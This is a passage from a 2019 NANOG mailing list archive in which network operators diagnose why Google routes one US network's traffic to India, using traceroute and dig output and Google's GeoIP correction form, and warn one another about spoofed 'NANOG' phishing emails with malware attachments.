(72.14.235.160) 276.104 ms 277.497 ms 16 108.170.235.105 (108.170.235.105) 217.030 ms 209.85.248.4 (209.85.248.4) 217.338 ms 66.249.94.141 (66.249.94.141) 217.573 ms 17 72.14.236.75 (72.14.236.75) 276.349 ms 276.097 ms 72.14.239.235 (72.14.239.235) 277.180 ms 18 bom07s01-in-f14.1e100.net (216.58.199.142) 276.139 ms 276.980 ms 64.233.174.27 (64.233.174.27) 279.212 ms As you can see from this traceroute output, Level3 is delivering my packets to Google (hop#7 and beyond) just fine, however all of the hops including #7 and beyond are all inside of google's network. My packets are originating from AS 394102. Anyone from google have any idea what's going on there? Thanks, Matt -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Thu May 23 19:55:42 2019 From: jared at puck.nether.net (Jared Mauch) Date: Thu, 23 May 2019 15:55:42 -0400 Subject: Google weird routing? In-Reply-To: References: Message-ID: <4EC0A754-CC0A-47A6-8CCA-35F943A007C9@puck.nether.net> I would say that it says BOM at the start of the name, perhaps they are sending you to India? Are you using a DNS service that uses ECS facing the various CDN/Cloud providers or a different one? - Jared > On May 23, 2019, at 3:47 PM, Matt Harris wrote: > > Hey folks, > Looking at an mtr going out via a couple of different transit circuits, Google seems to be doing weird things. > > RTT pinging google.com is coming up with like 250-300ms times, but mtr's are telling me my packets are hitting google's network very quickly. Google's network then seems to send them on a rather long trip before reaching the google.com frontend servers. > > An example: > > 6 213.200.123.170 (213.200.123.170) 3.450 ms ae-1-3502.ear4.Newark1.Level3.net (4.69.211.177) 1.469 ms 1.634 ms > 7 72.14.213.34 (72.14.213.34) 1.336 ms 1.372 ms 1.381 ms > 8 108.170.248.52 (108.170.248.52) 2.474 ms * 2.150 ms > 9 216.239.62.170 (216.239.62.170) 1.401 ms 216.239.62.150 (216.239.62.150) 1.400 ms 216.239.62.168 (216.239.62.168) 2.985 ms > 10 216.239.57.136 (216.239.57.136) 20.043 ms 216.239.59.0 (216.239.59.0) 20.235 ms 216.239.57.196 (216.239.57.196) 20.382 ms > 11 209.85.254.241 (209.85.254.241) 2.155 ms 108.170.235.61 (108.170.235.61) 74.295 ms 209.85.241.43 (209.85.241.43) 78.593 ms > 12 72.14.239.155 (72.14.239.155) 96.254 ms 216.239.57.196 (216.239.57.196) 19.672 ms 72.14.239.155 (72.14.239.155) 96.328 ms > 13 108.170.235.217 (108.170.235.217) 153.391 ms 108.170.236.119 (108.170.236.119) 153.445 ms 108.170.235.221 (108.170.235.221) 152.858 ms > 14 172.253.51.111 (172.253.51.111) 220.084 ms 66.249.94.141 (66.249.94.141) 218.039 ms 72.14.239.197 (72.14.239.197) 75.008 ms > 15 209.85.241.86 (209.85.241.86) 276.281 ms 72.14.235.160 (72.14.235.160) 276.104 ms 277.497 ms > 16 108.170.235.105 (108.170.235.105) 217.030 ms 209.85.248.4 (209.85.248.4) 217.338 ms 66.249.94.141 (66.249.94.141) 217.573 ms > 17 72.14.236.75 (72.14.236.75) 276.349 ms 276.097 ms 72.14.239.235 (72.14.239.235) 277.180 ms > 18 bom07s01-in-f14.1e100.net (216.58.199.142) 276.139 ms 276.980 ms 64.233.174.27 (64.233.174.27) 279.212 ms > > As you can see from this traceroute output, Level3 is delivering my packets to Google (hop#7 and beyond) just fine, however all of the hops including #7 and beyond are all inside of google's network. > > My packets are originating from AS 394102. > > Anyone from google have any idea what's going on there? > > Thanks, > Matt > From morrowc.lists at gmail.com Thu May 23 20:06:25 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 23 May 2019 16:06:25 -0400 Subject: Google weird routing? In-Reply-To: References: Message-ID: not sure where you are starting from (really) .. can you provide a: dig www.google.com for me? My guess is that as Jared noted you got somehow looking like you are in india to whatever does that magic :) On Thu, May 23, 2019 at 3:48 PM Matt Harris wrote: > > Hey folks, > Looking at an mtr going out via a couple of different transit circuits, Google seems to be doing weird things. > > RTT pinging google.com is coming up with like 250-300ms times, but mtr's are telling me my packets are hitting google's network very quickly. Google's network then seems to send them on a rather long trip before reaching the google.com frontend servers. > > An example: > > 6 213.200.123.170 (213.200.123.170) 3.450 ms ae-1-3502.ear4.Newark1.Level3.net (4.69.211.177) 1.469 ms 1.634 ms > 7 72.14.213.34 (72.14.213.34) 1.336 ms 1.372 ms 1.381 ms > 8 108.170.248.52 (108.170.248.52) 2.474 ms * 2.150 ms > 9 216.239.62.170 (216.239.62.170) 1.401 ms 216.239.62.150 (216.239.62.150) 1.400 ms 216.239.62.168 (216.239.62.168) 2.985 ms > 10 216.239.57.136 (216.239.57.136) 20.043 ms 216.239.59.0 (216.239.59.0) 20.235 ms 216.239.57.196 (216.239.57.196) 20.382 ms > 11 209.85.254.241 (209.85.254.241) 2.155 ms 108.170.235.61 (108.170.235.61) 74.295 ms 209.85.241.43 (209.85.241.43) 78.593 ms > 12 72.14.239.155 (72.14.239.155) 96.254 ms 216.239.57.196 (216.239.57.196) 19.672 ms 72.14.239.155 (72.14.239.155) 96.328 ms > 13 108.170.235.217 (108.170.235.217) 153.391 ms 108.170.236.119 (108.170.236.119) 153.445 ms 108.170.235.221 (108.170.235.221) 152.858 ms > 14 172.253.51.111 (172.253.51.111) 220.084 ms 66.249.94.141 (66.249.94.141) 218.039 ms 72.14.239.197 (72.14.239.197) 75.008 ms > 15 209.85.241.86 (209.85.241.86) 276.281 ms 72.14.235.160 (72.14.235.160) 276.104 ms 277.497 ms > 16 108.170.235.105 (108.170.235.105) 217.030 ms 209.85.248.4 (209.85.248.4) 217.338 ms 66.249.94.141 (66.249.94.141) 217.573 ms > 17 72.14.236.75 (72.14.236.75) 276.349 ms 276.097 ms 72.14.239.235 (72.14.239.235) 277.180 ms > 18 bom07s01-in-f14.1e100.net (216.58.199.142) 276.139 ms 276.980 ms 64.233.174.27 (64.233.174.27) 279.212 ms > > As you can see from this traceroute output, Level3 is delivering my packets to Google (hop#7 and beyond) just fine, however all of the hops including #7 and beyond are all inside of google's network. > > My packets are originating from AS 394102. > > Anyone from google have any idea what's going on there? > > Thanks, > Matt > From matt at netfire.net Thu May 23 20:11:30 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 23 May 2019 15:11:30 -0500 Subject: Google weird routing? In-Reply-To: References: Message-ID: On Thu, May 23, 2019 at 2:55 PM Jared Mauch wrote: > I would say that it says BOM at the start of the name, perhaps they are > sending you to India? > > Are you using a DNS service that uses ECS facing the various CDN/Cloud > providers or a different one? > This is my thinking, too, however my recursive DNS servers are all on the same network as the systems trying to reach google, all of which are on IP space that I own and announced exclusively by AS 394102 here in the US. I've also taken care to maintain as many geoip service entries as could be found/maintained, including maxmind's. Where they would get the idea that my packets should go to India is beyond me. On Thu, May 23, 2019 at 3:06 PM Christopher Morrow wrote: > not sure where you are starting from (really) .. can you provide a: > dig www.google.com > > for me? My guess is that as Jared noted you got somehow looking like > you are in india to whatever does that magic :) > Google's coming back with bom* addresses; no idea why though. ;; ANSWER SECTION: www.google.com. 300 IN A 172.217.26.228 Hoping someone over there can shed some light on why they are sending my packets on a world trip. :) Thanks, Matt -------------- next part -------------- An HTML attachment was scrubbed... URL: From fhr at fhrnet.eu Thu May 23 20:24:30 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Thu, 23 May 2019 20:24:30 +0000 Subject: Google weird routing? In-Reply-To: References: Message-ID: <0102016ae65dd787-2eef71cd-2914-4591-8ed0-50edd0bdd918-000000@eu-west-1.amazonses.com> Google maintains their own GeoIP database. If you peer with them and have access to the peering portal, you can correct the location yourself. Otherwise they have a public form somewhere. --- Filip On 23 May 2019 10:11:30 pm GMT+02:00, Matt Harris wrote: >On Thu, May 23, 2019 at 2:55 PM Jared Mauch >wrote: > >> I would say that it says BOM at the start of the name, perhaps they >are >> sending you to India? >> >> Are you using a DNS service that uses ECS facing the various >CDN/Cloud >> providers or a different one? >> > >This is my thinking, too, however my recursive DNS servers are all on >the >same network as the systems trying to reach google, all of which are on >IP >space that I own and announced exclusively by AS 394102 here in the US. >I've also taken care to maintain as many geoip service entries as could >be >found/maintained, including maxmind's. Where they would get the idea >that >my packets should go to India is beyond me. > >On Thu, May 23, 2019 at 3:06 PM Christopher Morrow > >wrote: > >> not sure where you are starting from (really) .. can you provide a: >> dig www.google.com >> >> for me? My guess is that as Jared noted you got somehow looking like >> you are in india to whatever does that magic :) >> > >Google's coming back with bom* addresses; no idea why though. > >;; ANSWER SECTION: >www.google.com. 300 IN A 172.217.26.228 > > >Hoping someone over there can shed some light on why they are sending >my >packets on a world trip. :) > >Thanks, >Matt -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Thu May 23 20:28:16 2019 From: jared at puck.nether.net (Jared Mauch) Date: Thu, 23 May 2019 16:28:16 -0400 Subject: Google weird routing? In-Reply-To: References: Message-ID: <296B86C9-EFA3-48C5-9E51-55CBCA9A5265@puck.nether.net> > On May 23, 2019, at 4:11 PM, Matt Harris wrote: > > On Thu, May 23, 2019 at 2:55 PM Jared Mauch wrote: > I would say that it says BOM at the start of the name, perhaps they are sending you to India? > > Are you using a DNS service that uses ECS facing the various CDN/Cloud providers or a different one? > > This is my thinking, too, however my recursive DNS servers are all on the same network as the systems trying to reach google, all of which are on IP space that I own and announced exclusively by AS 394102 here in the US. I've also taken care to maintain as many geoip service entries as could be found/maintained, including maxmind's. Where they would get the idea that my packets should go to India is beyond me. > > On Thu, May 23, 2019 at 3:06 PM Christopher Morrow wrote: > not sure where you are starting from (really) .. can you provide a: > dig www.google.com > > for me? My guess is that as Jared noted you got somehow looking like > you are in india to whatever does that magic :) > > Google's coming back with bom* addresses; no idea why though. > > ;; ANSWER SECTION: > www.google.com. 300 IN A 172.217.26.228 > > > Hoping someone over there can shed some light on why they are sending my packets on a world trip. :) If you send the query to 8.8.8.8 do you get a more favorable response (just curious). You can also run this query: dig TXT whoami.ds.akahelp.net. Which may assist. - jared From morrowc.lists at gmail.com Thu May 23 20:44:38 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 23 May 2019 16:44:38 -0400 Subject: Google weird routing? In-Reply-To: References: Message-ID: On Thu, May 23, 2019 at 4:11 PM Matt Harris wrote: > On Thu, May 23, 2019 at 3:06 PM Christopher Morrow wrote: >> >> not sure where you are starting from (really) .. can you provide a: >> dig www.google.com >> >> for me? My guess is that as Jared noted you got somehow looking like >> you are in india to whatever does that magic :) > > > Google's coming back with bom* addresses; no idea why though. > > ;; ANSWER SECTION: > www.google.com. 300 IN A 172.217.26.228 > that's an ip in india alright :) I don't see why that's happening (in quick searching). > > Hoping someone over there can shed some light on why they are sending my packets on a world trip. :) I'd be cuirous about: dig www.google.com @8.8.8.8 as well, please (jared's question as well) From matt at netfire.net Thu May 23 20:55:26 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 23 May 2019 15:55:26 -0500 Subject: Google weird routing? In-Reply-To: <0102016ae65dd787-2eef71cd-2914-4591-8ed0-50edd0bdd918-000000@eu-west-1.amazonses.com> References: <0102016ae65dd787-2eef71cd-2914-4591-8ed0-50edd0bdd918-000000@eu-west-1.amazonses.com> Message-ID: On Thu, May 23, 2019 at 3:24 PM Filip Hruska wrote: > Google maintains their own GeoIP database. If you peer with them and have > access to the peering portal, you can correct the location yourself. > Otherwise they have a public form somewhere. > > --- Filip > Googling around a bit does not yield results for that form... any chance anyone here has a link to that? Would be much appreciated! Thanks, Matt -------------- next part -------------- An HTML attachment was scrubbed... URL: From matt at netfire.net Thu May 23 20:59:53 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 23 May 2019 15:59:53 -0500 Subject: Google weird routing? In-Reply-To: References: Message-ID: On Thu, May 23, 2019 at 3:44 PM Christopher Morrow wrote: > On Thu, May 23, 2019 at 4:11 PM Matt Harris wrote: > > On Thu, May 23, 2019 at 3:06 PM Christopher Morrow < > morrowc.lists at gmail.com> wrote: > >> > >> not sure where you are starting from (really) .. can you provide a: > >> dig www.google.com > >> > >> for me? My guess is that as Jared noted you got somehow looking like > >> you are in india to whatever does that magic :) > > > > > > Google's coming back with bom* addresses; no idea why though. > > > > ;; ANSWER SECTION: > > www.google.com. 300 IN A 172.217.26.228 > > > > that's an ip in india alright :) > I don't see why that's happening (in quick searching). > > > > > Hoping someone over there can shed some light on why they are sending my > packets on a world trip. :) > > I'd be cuirous about: > dig www.google.com @8.8.8.8 > > as well, please (jared's question as well) > Interestingly... user at host # dig www.google.com @8.8.8.8 ; <<>> DiG 9.9.4-RedHat-9.9.4-61.el7_5.1 <<>> www.google.com @8.8.8.8 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2110 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;www.google.com. IN A ;; ANSWER SECTION: www.google.com. 299 IN A 216.58.203.164 ;; Query time: 16 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Thu May 23 16:55:04 EDT 2019 ;; MSG SIZE rcvd: 59 user at host # host 216.58.203.164 164.203.58.216.in-addr.arpa domain name pointer bom07s11-in-f4.1e100.net. Still comes back with a bom* host, so it looks like it's not based on the DNS recursion server used. -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists-nanog at schultz.top Thu May 23 21:01:33 2019 From: lists-nanog at schultz.top (Patrick Schultz) Date: Thu, 23 May 2019 23:01:33 +0200 Subject: Google weird routing? In-Reply-To: References: <0102016ae65dd787-2eef71cd-2914-4591-8ed0-50edd0bdd918-000000@eu-west-1.amazonses.com> Message-ID: <8adb7e29-3204-0dfa-4304-451111352cc2@schultz.top> https://support.google.com/websearch/contact/ip/ Am 23.05.2019 um 22:55 schrieb Matt Harris: > On Thu, May 23, 2019 at 3:24 PM Filip Hruska > wrote: > > Google maintains their own GeoIP database. If you peer with them and have access to the peering portal, you can correct the location yourself. > Otherwise they have a public form somewhere. > > --- Filip > > > Googling around a bit does not yield results for that form... any chance anyone here has a link to that?  Would be much appreciated!   > > Thanks, > Matt >   From matt at netfire.net Thu May 23 21:10:31 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 23 May 2019 16:10:31 -0500 Subject: Google weird routing? In-Reply-To: <8adb7e29-3204-0dfa-4304-451111352cc2@schultz.top> References: <0102016ae65dd787-2eef71cd-2914-4591-8ed0-50edd0bdd918-000000@eu-west-1.amazonses.com> <8adb7e29-3204-0dfa-4304-451111352cc2@schultz.top> Message-ID: On Thu, May 23, 2019 at 4:01 PM Patrick Schultz wrote: > https://support.google.com/websearch/contact/ip/ > > Thanks! Giving that a shot. It's still loading www.google.com though if I try to hit it in a browser (not redirecting to a different language/CCTLD specific site though) so I had to put that in along with that I'm in the US, not sure that whoever sees that form will understand my issue and there's no freeform comments section to mention "but it's loading from India!" -------------- next part -------------- An HTML attachment was scrubbed... URL: From christoffer at netravnen.de Thu May 23 21:12:53 2019 From: christoffer at netravnen.de (Hansen, Christoffer) Date: Thu, 23 May 2019 23:12:53 +0200 Subject: Spamming of NANOG list members In-Reply-To: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> Message-ID: Appreciate the warning! On 23/05/2019 19:46, Valerie Wittkop wrote: > These messages are not flowing through NANOG servers, nor using the NANOG domain. They are not messages coming from the NANOG organization. Please be aware if you receive a message matching this description and always make sure to scan attachments for a virus. The one I received looked like this: > From: "NANOG" ... Has it been considered switching to "-all", instead of only "~all" in the spf record? > $ dig +short +nocmd +nocomments TXT nanog.org > "v=spf1 include:_spf.google.com ip4:104.20.199.50 ip4:104.20.198.50 ip4:50.31.151.75 ip4:50.31.151.76 ip6:2001:1838:2001:8::19 ip6:2001:1838:2001:8::20 ip6:2400:cb00:2048:1::6814:c632 ip6:2400:cb00:2048:1::6814:c732 ~all" -Christoffer -------------- next part -------------- Return-Path: Delivered-To: user at example.com Received: from mx.cegips.pl (unknown [213.192.76.50]) by mx1.pub.mailpod7-cph3.one.com (Halon) with ESMTPS id 9cdfc18c-7d3d-11e9-825c-506b4b1aa3a0; Thu, 23 May 2019 09:31:59 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mx.cegips.pl (Postfix) with ESMTP id 306D4121593 for ; Thu, 23 May 2019 11:31:58 +0200 (CEST) X-Spam-Flag: NO X-Spam-Score: -2.403 X-Spam-Level: X-Spam-Status: No, score=-2.403 tagged_above=-9999 required=5 tests=[ALL_TRUSTED=-1, BAYES_00=-1.9, MISSING_MID=0.497] autolearn=no autolearn_force=no Received: from mx.cegips.pl ([127.0.0.1]) by localhost (mx.cegips.pl [127.0.0.1]) (amavisd-new, port 10024) with LMTP id X7bW28gISBQ9 for ; Thu, 23 May 2019 11:31:56 +0200 (CEST) Received: from [190.12.55.174] (corp-190-12-55-174.gye.puntonet.ec [190.12.55.174]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx.cegips.pl (Postfix) with ESMTPSA id 05D4D121350 for ; Thu, 23 May 2019 11:31:52 +0200 (CEST) Date: Thu, 23 May 2019 04:13:07 -0500 From: "NANOG" To: Subject: gescanntes Dokument LZVO-451-EY4074 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_Part_65483_1484872530.28790224771686175392" -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 228 bytes Desc: OpenPGP digital signature URL: From matt at netfire.net Thu May 23 21:16:07 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 23 May 2019 16:16:07 -0500 Subject: Spamming of NANOG list members In-Reply-To: References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> Message-ID: On Thu, May 23, 2019 at 4:13 PM Hansen, Christoffer < christoffer at netravnen.de> wrote: > Appreciate the warning! > > On 23/05/2019 19:46, Valerie Wittkop wrote: > > These messages are not flowing through NANOG servers, nor using the > NANOG domain. They are not messages coming from the NANOG organization. > Please be aware if you receive a message matching this description and > always make sure to scan attachments for a virus. > > The one I received looked like this: > > > From: "NANOG" > > ... > > Has it been considered switching to "-all", instead of only "~all" in > the spf record? > > > $ dig +short +nocmd +nocomments TXT nanog.org > > "v=spf1 include:_spf.google.com ip4:104.20.199.50 ip4:104.20.198.50 > ip4:50.31.151.75 ip4:50.31.151.76 ip6:2001:1838:2001:8::19 > ip6:2001:1838:2001:8::20 ip6:2400:cb00:2048:1::6814:c632 > ip6:2400:cb00:2048:1::6814:c732 ~all" > > -Christoffer > The SPF record wouldn't make a difference since that email was sent from @ cegips.pl, not from @nanog.org. You'd have to change the SPF record for the cegips.pl domain to impact their ability to send from that address. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ross at tajvar.io Thu May 23 21:23:10 2019 From: ross at tajvar.io (Ross Tajvar) Date: Thu, 23 May 2019 17:23:10 -0400 Subject: Google weird routing? In-Reply-To: References: <0102016ae65dd787-2eef71cd-2914-4591-8ed0-50edd0bdd918-000000@eu-west-1.amazonses.com> <8adb7e29-3204-0dfa-4304-451111352cc2@schultz.top> Message-ID: Yeah, that's honestly a pretty crappy form. No room for an explanation, no individual contact, and an ETR of a month. I'm surprised there's not a better way to address issues like this On Thu, May 23, 2019, 5:13 PM Matt Harris wrote: > On Thu, May 23, 2019 at 4:01 PM Patrick Schultz > wrote: > >> https://support.google.com/websearch/contact/ip/ >> >> > Thanks! > > Giving that a shot. It's still loading www.google.com though if I try to > hit it in a browser (not redirecting to a different language/CCTLD specific > site though) so I had to put that in along with that I'm in the US, not > sure that whoever sees that form will understand my issue and there's no > freeform comments section to mention "but it's loading from India!" > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists-nanog at schultz.top Thu May 23 21:27:35 2019 From: lists-nanog at schultz.top (Patrick Schultz) Date: Thu, 23 May 2019 23:27:35 +0200 Subject: Google weird routing? In-Reply-To: References: <0102016ae65dd787-2eef71cd-2914-4591-8ed0-50edd0bdd918-000000@eu-west-1.amazonses.com> <8adb7e29-3204-0dfa-4304-451111352cc2@schultz.top> Message-ID: <9c755728-5115-7015-3222-0d3c042fd79e@schultz.top> Seems to be more end-user oriented rather than targeted at netadmins. There's no real contact to the GeoIP team besides the peering portal and that form, except maybe the NOC. (at least none I found yet) Am 23.05.2019 um 23:23 schrieb Ross Tajvar: > Yeah, that's honestly a pretty crappy form. No room for an explanation, no individual contact, and an ETR of a month. I'm surprised there's not a better way to address issues like this  > > On Thu, May 23, 2019, 5:13 PM Matt Harris > wrote: > > On Thu, May 23, 2019 at 4:01 PM Patrick Schultz wrote: > > https://support.google.com/websearch/contact/ip/ > > > Thanks!   > > Giving that a shot.  It's still loading www.google.com though if I try to hit it in a browser (not redirecting to a different language/CCTLD specific site though) so I had to put that in along with that I'm in the US, not sure > that whoever sees that form will understand my issue and there's no freeform comments section to mention "but it's loading from India!"  > From rgolodner at infratection.com Thu May 23 21:39:33 2019 From: rgolodner at infratection.com (Richard) Date: Thu, 23 May 2019 16:39:33 -0500 Subject: Spamming of NANOG list members In-Reply-To: References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> Message-ID: On 5/23/19 4:16 PM, Matt Harris wrote: > On Thu, May 23, 2019 at 4:13 PM Hansen, Christoffer > > wrote: > > Appreciate the warning! > > On 23/05/2019 19:46, Valerie Wittkop wrote: > > These messages are not flowing through NANOG servers, nor using > the NANOG domain. They are not messages coming from the NANOG > organization. Please be aware if you receive a message matching > this description and always make sure to scan attachments for a virus. > > The one I received looked like this: > > > From: "NANOG" > > > ... > > Has it been considered switching to "-all", instead of only "~all" in > the spf record? > > > $ dig +short +nocmd +nocomments TXT nanog.org > > "v=spf1 include:_spf.google.com > ip4:104.20.199.50 ip4:104.20.198.50  ip4:50.31.151.75 > ip4:50.31.151.76 ip6:2001:1838:2001:8::19 ip6:2001:1838:2001:8::20 > ip6:2400:cb00:2048:1::6814:c632 ip6:2400:cb00:2048:1::6814:c732 ~all" > >         -Christoffer > > > The SPF record wouldn't make a difference since that email was sent > from @cegips.pl , not from @nanog.org > .  You'd have to change the SPF record for the > cegips.pl domain to impact their ability to send > from that address.   > The one I received was from _rainphil.com_ and came with an ugly Trojan attached as a PDF. Has anyone else received this type or am I just fortunate? Richard Golodner -------------- next part -------------- An HTML attachment was scrubbed... URL: From sandy at tislabs.com Thu May 23 22:27:46 2019 From: sandy at tislabs.com (Sandra Murphy) Date: Thu, 23 May 2019 18:27:46 -0400 Subject: Spamming of NANOG list members In-Reply-To: References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> Message-ID: <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> Mine came 21 May. It was a .doc. Sent from charter.net, with the user portion of the sender very similar to a nanog contributor. And it arrived oddly coincident with my visit to the cvent registration page. Any others who had that coincidence? —Sandy > On May 23, 2019, at 5:39 PM, Richard wrote: > > On 5/23/19 4:16 PM, Matt Harris wrote: >> On Thu, May 23, 2019 at 4:13 PM Hansen, Christoffer wrote: >> Appreciate the warning! >> >> On 23/05/2019 19:46, Valerie Wittkop wrote: >> > These messages are not flowing through NANOG servers, nor using the NANOG domain. They are not messages coming from the NANOG organization. Please be aware if you receive a message matching this description and always make sure to scan attachments for a virus. >> >> The one I received looked like this: >> >> > From: "NANOG" >> >> ... >> >> Has it been considered switching to "-all", instead of only "~all" in >> the spf record? >> >> > $ dig +short +nocmd +nocomments TXT nanog.org >> > "v=spf1 include:_spf.google.com ip4:104.20.199.50 ip4:104.20.198.50 ip4:50.31.151.75 ip4:50.31.151.76 ip6:2001:1838:2001:8::19 ip6:2001:1838:2001:8::20 ip6:2400:cb00:2048:1::6814:c632 ip6:2400:cb00:2048:1::6814:c732 ~all" >> >> -Christoffer >> >> The SPF record wouldn't make a difference since that email was sent from @cegips.pl, not from @nanog.org. You'd have to change the SPF record for the cegips.pl domain to impact their ability to send from that address. >> > The one I received was from rainphil.com and came with an ugly Trojan attached as a PDF. > > Has anyone else received this type or am I just fortunate? > > Richard Golodner > > > > From niels=nanog at bakker.net Thu May 23 23:07:13 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Fri, 24 May 2019 01:07:13 +0200 Subject: Spamming of NANOG list members In-Reply-To: <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> Message-ID: <20190523230712.GG88473@jima.tpb.net> * sandy at tislabs.com (Sandra Murphy) [Fri 24 May 2019, 00:28 CEST]: >And it arrived oddly coincident with my visit to the cvent >registration page. Any others who had that coincidence? No, and I've gotten like five by now. -- Niels. From sandy at tislabs.com Fri May 24 07:26:26 2019 From: sandy at tislabs.com (Sandra Murphy) Date: Fri, 24 May 2019 03:26:26 -0400 Subject: Spamming of NANOG list members In-Reply-To: <20190523230712.GG88473@jima.tpb.net> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> Message-ID: So sheer coincidence. Literally. —Sandy > On May 23, 2019, at 7:07 PM, Niels Bakker wrote: > > * sandy at tislabs.com (Sandra Murphy) [Fri 24 May 2019, 00:28 CEST]: >> And it arrived oddly coincident with my visit to the cvent registration page. Any others who had that coincidence? > > No, and I've gotten like five by now. > > > -- Niels. From conrad at rockenhaus.com Thu May 23 20:04:52 2019 From: conrad at rockenhaus.com (Conrad Rockenhaus) Date: Thu, 23 May 2019 15:04:52 -0500 Subject: Grande Communications Contact In-Reply-To: References: Message-ID: <11AE7617-36FA-4949-842E-49768BD8FE14@rockenhaus.com> All- I have a contact and should hopefully be able to resolve the issue. Thank you! Conrad > On May 23, 2019, at 10:52 AM, Conrad Rockenhaus wrote: > > Hello, > > Does anyone have a Grande Communications Contact? > > Thanks, > > Conrad -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 1403 bytes Desc: not available URL: From quan at posteo.net Fri May 24 02:46:14 2019 From: quan at posteo.net (Quan Zhou) Date: Fri, 24 May 2019 10:46:14 +0800 Subject: Google weird routing? In-Reply-To: <9c755728-5115-7015-3222-0d3c042fd79e@schultz.top> References: <0102016ae65dd787-2eef71cd-2914-4591-8ed0-50edd0bdd918-000000@eu-west-1.amazonses.com> <8adb7e29-3204-0dfa-4304-451111352cc2@schultz.top> <9c755728-5115-7015-3222-0d3c042fd79e@schultz.top> Message-ID: Same thought here, yet I tried to report a wrong GeoIP subnet for my AS multiple times on that form. Never got feedback nor did they made any correction. On 5/24/19 5:27 AM, Patrick Schultz wrote: > Seems to be more end-user oriented rather than targeted at netadmins. > There's no real contact to the GeoIP team besides the peering portal and that form, except maybe the NOC. (at least none I found yet) > > Am 23.05.2019 um 23:23 schrieb Ross Tajvar: >> Yeah, that's honestly a pretty crappy form. No room for an explanation, no individual contact, and an ETR of a month. I'm surprised there's not a better way to address issues like this >> >> On Thu, May 23, 2019, 5:13 PM Matt Harris > wrote: >> >> On Thu, May 23, 2019 at 4:01 PM Patrick Schultz wrote: >> >> https://support.google.com/websearch/contact/ip/ >> >> >> Thanks! >> >> Giving that a shot.  It's still loading www.google.com though if I try to hit it in a browser (not redirecting to a different language/CCTLD specific site though) so I had to put that in along with that I'm in the US, not sure >> that whoever sees that form will understand my issue and there's no freeform comments section to mention "but it's loading from India!" >> From dougm at nist.gov Fri May 24 14:52:00 2019 From: dougm at nist.gov (Montgomery, Douglas (Fed)) Date: Fri, 24 May 2019 14:52:00 +0000 Subject: Call for Participation: NIST Workshop on Security for IPv6 Enabled Enterprises - June 13, 2019 @ NCCoE Message-ID: NIST NCCoE will host a workshop on Security for IPv6 Enabled Enterprises.  The focus will be to identify and develop plans to address security challenges / barriers to full IPv6 deployment in enterprise settings.     Please see the call for participation below for more details and to register. https://www.nccoe.nist.gov/events/security-ipv6-enabled-enterprises Questions about workshop participation should be sent to: ipv6-transition at nist.gov   dougm -- Doug Montgomery, Manager Internet & Scalable Systems Research @ NIST   From amitchell at isipp.com Fri May 24 15:07:28 2019 From: amitchell at isipp.com (Anne P. Mitchell, Esq.) Date: Fri, 24 May 2019 09:07:28 -0600 Subject: Spamming of NANOG list members In-Reply-To: References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> Message-ID: <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> Question: Is the member list with email addresses public?? Otherwise, one has to wonder how they got these addresses? Anne Anne P. Mitchell, Attorney at Law CEO/President, Institute for Social Internet Public Policy GDPR, CCPA (CA) & CCDPA (CO) Compliance Consultant Author: Section 6 of the CAN-SPAM Act of 2003 (the Federal anti-spam law) Board of Directors, Denver Internet Exchange Board of Directors, Asilomar Microcomputer Workshop Legal Counsel: The CyberGreen Institute Former Counsel: Mail Abuse Prevention System (MAPS) Ret. Professor of Law, Lincoln Law School of San Jose > On May 24, 2019, at 1:26 AM, Sandra Murphy wrote: > > So sheer coincidence. Literally. > > —Sandy > >> On May 23, 2019, at 7:07 PM, Niels Bakker wrote: >> >> * sandy at tislabs.com (Sandra Murphy) [Fri 24 May 2019, 00:28 CEST]: >>> And it arrived oddly coincident with my visit to the cvent registration page. Any others who had that coincidence? >> >> No, and I've gotten like five by now. >> >> >> -- Niels. > From bill at herrin.us Fri May 24 15:14:47 2019 From: bill at herrin.us (William Herrin) Date: Fri, 24 May 2019 08:14:47 